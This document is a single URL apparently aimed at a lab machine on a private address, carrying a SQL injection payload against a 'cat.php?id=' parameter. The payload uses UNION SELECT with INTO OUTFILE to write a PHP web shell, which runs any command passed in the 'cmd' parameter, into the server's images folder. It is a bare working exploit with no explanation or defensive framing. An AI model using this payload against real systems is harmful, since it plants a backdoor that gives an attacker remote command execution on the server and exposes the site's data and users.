http://172.16.179.128/cat.php?id=-2 UNION SELECT 1,"<? $cmd = $_GET['cmd']; system($cmd) ?>",3,4 INTO OUTFILE '/var/www/images/a2.php'--